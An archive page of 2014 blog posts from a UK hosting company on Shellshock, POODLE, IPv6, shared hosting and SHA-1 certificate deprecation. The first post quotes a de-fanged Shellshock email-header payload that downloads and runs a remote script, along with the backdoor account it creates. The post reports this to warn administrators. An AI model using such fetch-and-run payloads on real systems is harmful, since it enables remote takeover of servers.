Shellshock by mail

October 28th, 2014 by

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...

I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.

Poodle and Pound

October 24th, 2014 by

Earlier this week, we wrote about the POODLE security vulnerability. As as result of this, we’ve been working with our customers to disable SSLv3 support from their SSL/TLS services.

At Mythic Beasts, we use Pound as a load balancer fairly extensively. It’s free, secure, fairly quick and easy to configure. Unfortunately, it didn’t have a configuration option to disable SSLv3.

Image courtesy of SOMMAI at FreeDigitalPhotos.net

Image courtesy of SOMMAI at FreeDigitalPhotos.net

One of the advantages of hosting on open source software is that we’re not at the mercy of a vendor for software updates, so we took a patch which adds the ability to disable SSLv3, added it to the standard Debian package and made it available to our managed customers through our private package repository.

This same package is now in Debian unstable and is working its way into the Debian security and backports repositories. This is made easier because the Debian pound maintainer, Brett Parker, works for Mythic Beasts and wrote the technical details on his blog.

As we have a number of customers using pound on CentOS, we have also created patched versions of CentOS packages of Pound, and raised a ticket With Fedora in order to get this into the stable build.

IPv6 support in the UK

October 22nd, 2014 by

Recently Mythic Beasts went to the first meeting of the UK IPv6 Council, a non profit group to assist in rolling out IPv6 across the UK. There was a rapid exchange of knowledge, ideas and progress between organisations.

We heard from network engineers within BT, BSkyB and Virgin Media covering well over half of all the end users in the UK. BT and Virgin have enough IPv4 addresses not to require rolling out IPv6, BSkyB don’t and therefore need to either implement IPv6 or Carrier Grade NAT (CGN), and they really don’t like CGN. Virgin are having portions of their address space taken by other parts of the parent company so may also need IPv6 or CGN. They too don’t like CGN, and already have IPv6 support in all their SuperHubs, even if the functionality is currently disabled. All three companies have IPv6 support in various levels of trial with internal staff members running dual stack. However, all three have plans to roll out customer trials in the first part of 2015.

We also heard from the Belgian IPv6 council about how roll-out in Belgium occurred to nearly 30% of all end users having native IPv6, they went from less than 1% in May 2013, to 16% in May 2014, and 27% now. Once a couple of their large providers started enabling IPv6 the roll-out was very fast. It’s likely the same thing could happen in the UK with three major providers having significant IPv6 plans within the next 12 months.

As an idea of how quickly things might happen, T-Mobile USA has gone from nowhere to the 10th largest IPv6 deployment with 44% of their network IPv6 enabled within 12 months.

So at a guess, Mythic Beasts think that IPv6 rollout in the UK by December 2015, will be either less than 1%, about 25% or roughly 50%. We aren’t sure which, but we think it’s wise to be prepared for every eventuality. To help you with that we have an IPv6 health checker.

POODLE: The cute, fluffy SSL vulnerability

October 20th, 2014 by
He's responsible for your SSL vulnerabilities. Photo credit: Greg Westfall, Flickr. CC-BY.

He’s responsible for your SSL vulnerabilities. Photo credit: Greg Westfall, Flickr, CC-BY.

SSL (or more accurately, its successor, TLS) is the technology used to keep your sensitive information, such as credit card details, secure. When you see the green padlock in your address bar, you know that your connection is safe from eavesdroppers. Or is it? Google have published details of a vulnerability in SSLv3. The vulnerability shouldn’t be an issue because SSLv3 has been almost completely replaced by TLS, but some implementations of TLS allow a “secure” connection to be downgraded to SSLv3.

When a computer connects to a secure service, such as an HTTPS website, the two sides will negotiate the version of the protocol to be used (a “handshake”). A server will initially offer a handshake using the strongest security it and the client are capable of. If the client does not respond correctly – for example because the client was incorrectly detected (and therefore is incapable of using that level of security), or because of a network glitch, the server will offer progressively weaker handshakes, until SSLv3 is used. This means that an active attacker could tamper with the SSL handshake using a man in the middle attack until it degrades to SSLv3.

At this time1, the best way to avoid this vulnerability is to disable support for SSLv3, both client-side and server-side. Systems administrators should disable SSLv3 by updating their server configuration, although note that in doing so you will prevent access from some very old platforms, most notably IE6 on Windows XP, which don’t support TLS.  End users should update their web browsers, as vendors are releasing new versions which disable SSLv3. If you’re still using IE6 on Windows XP and didn’t already have enough good reasons to upgrade, then this is another very good one.

Managed customers will have received an email from us, offering to make the necessary configuration changes to disable SSLv3. We would normally immediately apply a security patch, but as this breaks Windows XP / Internet Explorer 6 support we’ll wait for confirmation before applying it.

If you’re not a managed customer, add the following line to your Apache configuration file:

SSLProtocol All -SSLv2 -SSLv3

If you’re using Nginx, add:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

While dealing with SSLv3, it’s a good idea to run an SSL test using Qualys SSL Labs – this will check things like lack of SSL2 support (vulnerable since 1995), using SHA256, TLS 1.2 support, and support for perfect forward secrecy, among other things.

If this all sounds too complicated, it may be worth considering our management service. We’ll apply security patches for you, as well as monitoring your application and intervening if necessary, providing graphing and backups, and checking the health of your hard disks.


1 – TLS_FALLBACK_SCSV is an alternative fix, however at the moment server support is poor. However, a strong advantage of enabling it is that “fallback” attacks will be prevented in the future – allowing clients to use weaker security is rarely a good idea.

Unlimited domains on shared hosting

October 14th, 2014 by

Back in 2000, Mythic Beasts started by offering web and email hosting services on a single shared server. Since then, we have expanded in just about all possible directions, but we still offer shared hosting for web and email. It remains the most cost-effective way to establish a permanent online presence.

A single Mythic Beasts hosting account can support multiple domains. This has become particularly important with the current proliferation of new top-level domains, and the opening up of the second-level .uk domain space. With our shared hosting, you can have example.com, example.co.uk, example.uk, and example.club all hosted on a single account. And you can choose between serving the same content, redirecting to a canonical name, or serving different content.

Until now, enabling additional domains has required an email to support and a manual step at our end to link the new domain to your hosting account. But our dev team has now exposed this through the Customer Control Panel, and you can add your new domains instantly.

Here’s how it works now.

  1. If you have registered a domain through us, you can add the standard configuration through the Customer Control Panel. The standard configuration sets up the “bare” domain name, example.com, for web and email hosting, and www.example.com for web hosting. There is no charge for this, and you can add as many domains as you like to your hosting account.
  2. For all other cases, whether subdomains, or domains registered with other registrars, you will still need to email support. A one-off setup charge of £10 (inc VAT) will be levied per domain /subdomain. Or you can batch up to 5 domains in a single request for £20 (inc VAT).

Shell Shock 2: The AfterShock

September 26th, 2014 by

As has been widely reported, a very major vulnerability in the bash shell was announced a couple of days ago (the event has been dubbed “Shell Shock” by the media). Sadly, the first set of updates released were insufficient to close the hole completely (“AfterShock” is the catchy name). Further updates were released late last night. These have been applied to all Mythic Beasts internal servers, and all managed customer servers.

Customers with unmanaged servers are urged to apply this second set of updates as quickly as possible.

So far, Apple have not released any updates for OS X. The version of bash distributed with OS X is demonstrably vulnerable to the security bug, so no doubt updates will be forthcoming. In the mean time, one possibility is to build bash from source; instructions for doing so can be found on the Internet.

Security issue in bash

September 24th, 2014 by

We’ve just become aware of a potentially very serious security hole in bash which is potentially remotely executable.

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

Whilst we don’t have enough details yet to evaluate the seriousness of this we’ve already applied the fixes to our administration servers and VPN gateways, and are now looking at rolling out the updates to all affected managed customers. Managed customers should expect an email shortly with further details.

Ticket escalation

September 24th, 2014 by

Managed server customers receive as standard 24/7 monitoring of their servers, we check that the machines are up, that ssh is running, that the web-server is delivering the correct content amongst other checks. In the event a check fails our staff are alerted via SMS/pager to investigate the issue.

We’ve now enhanced this service for managed server customers, in the unlikely event you have a service affecting issue that the automated monitoring hasn’t caught, you can file an urgent ticket through our control panel which will create a new support ticket and alert our staff via SMS to deal with your issue.

This was a feature request from a customer in a meeting last Thursday and went into production as a service enhancement on Tuesday, we’re always receptive to suggestions from customers to make our offering better.

Explain To Us: an explanation

September 17th, 2014 by

This post is written by Ben Howe who’s with us for his gap year. He took some holiday to go to Young Rewired State and he’s written up what he did.

During the summer I participated in the Young Rewired State Festival of Code, where I wrote a website called “Explain To Us” – designed to make the list of bills currently before parliament less confusing. For example, the “summary” listed on the website is the “long title” from the legal text, as opposed to being clearer more detailed. Explain To Us is a platform which allows members of parliament to upload a short video “pitch” to explain what their bill is about and why it should be given debating time in parliament.

Young Rewired State is an independent global network of young people aged 18 and under who have taught themselves to code. They bring together like-minded peers at events around the world where they use open data to make websites, apps and other solutions to real world challenges. The Festival of Code is an annual celebration of programming held over a week in multiple centres, culminating in a huge showcase weekend where everyone presents their solutions (this year in Plymouth, hosted by Plymouth University).

A Python script interprets the RSS feed for all bills before parliament. It then visits the <link> for each bill, scraping the sponsor information (as this is not included in the RSS feed). HTML pages are then generated, which are served by nginx. In future, I’m planning to automatically email members  of parliament (using contact details from TheyWorkForYou) when they submit a new bill asking them to upload a video.

After my initial presentation, I was nominated for “Best In Show” – although sadly I was knocked out by “YouDraw” (who later won Best In Show). Having gained valuable feedback from presenting to the Speaker’s Commission on Digital Democracy and Tracy Green (head of online services at parliament), I’m now intending on building a second beta with more functionality.

If you’d like to work for Mythic Beasts in your gap year, you need to demonstrate how you can use Google to find our jobs page and work the rest out from there.

SSL certificates: SHA-1 deprecation

September 16th, 2014 by

We’ve been asked a few times recently about the announcement from the developers of the  Chrome browser concerning SHA-1 deprecation. This post gives some background, and answers the most common questions. If you’re in a hurry: don’t panic! Mythic Beasts has got you covered.

What’s it all about? For an SSL certificate to be trusted by browsers around the world, it needs to be digitally signed by a well-known and trusted body, called a Certification Authority or CA. (For the SSL certificates that we sell, the CA is usually GeoTrust.) When a certificate is issued, the CA takes the details of your certificate (most notably the address of your website, and the public half of your crypto key) and digitally signs them. When a user browses to your site, they receive your signed certificate and they check the CA’s signature of it to be certain that they are talking securely to the right site.

Except… the CA doesn’t actually sign all the data in the certificate. It first passes it through a cryptographic hash function, which securely reduces the data to a small fingerprint, and then it signs that. Currently, the hash function most commonly used in SSL certificates is SHA-1. This is going to change over the next couple of years.

What’s wrong with SHA-1? Cryptographic hash functions become weaker over time, as Moore’s law makes computers ever faster, and cryptologists discover flaws in the algorithm. A significant flaw in SHA-1 was first published back in 2005, and it is now believed that it may be feasible to find a SHA-1 collision by 2018 or sooner.

Is there an alternative? Yes! SHA-2 (also known as SHA-256) is already implemented in all major browsers. However, because of the nature of the problem, every SSL certificate needs to be upgraded, so we can tell browsers to stop accepting SHA-1 signed certificates. Note that SHA-1 has not yet been “broken”, and while weakened, it is still strong enough for the time being. However, for a smooth transition to SHA-2, we need to start now.

What’s the Google announcement? Although this has generated a lot of discussion, it doesn’t actually say very much that’s new. Microsoft announced in November 2013 that they will not accept SHA-1 signed certificates after 2016. The Chrome developers have recently confirmed that they will do the same, and have filled in some details for a hopefully smooth transition.

Rather than having a single cut-off date, Chrome will be gradually ratcheting up the level of warnings. SHA-1 certificates with an expiry date in 2017 or later will start to receive the “yellow triangle” warning in the browser address later this year. Of course, the connection is still encrypted, but this is a clear indication to users, and hopefully the site administrators too, that something is amiss.

yellow-triangle

By the middle of next year, if those sites are still running with a SHA-1 certificate that lasts into 2017, the warning will be upgraded to a red cross, making it crystal clear to all concerned that action is needed.

red-cross

For SHA-1 certificates that have an expiry date in 2016, the situation is not so serious. Sites with these certificates will start to receive yellow triangle warnings next year, but the warning won’t be escalated beyond that. In both cases, only the security icon will be changed; there will be no click-through warnings. This move, which is also supported by Mozilla and Opera, is forcing the hand of the CAs, and much misinformation has been spread about it.

Is my certificate OK? Yes. Almost all* certificates issued by Mythic Beasts have only a 1 year expiry, so your current certificate will not solicit any warnings from Chrome, or any other browser. *Very occasionally we do issue certificates for longer than 1 year; we’ve checked the issue dates for all these, and are in contact with all affected customers to reissue their certificates.

And then…? We already have a process in place for issuing SHA-2 certificates and renewals. It’s currently a bit more fiddly than we’d like (in fact, it involves obtaining a SHA-1 certificate and then reissuing it as SHA-2!), but we will be trying to make this slicker over the next few weeks. In any case, after October 2014, we will only be issuing SHA-2 certificates.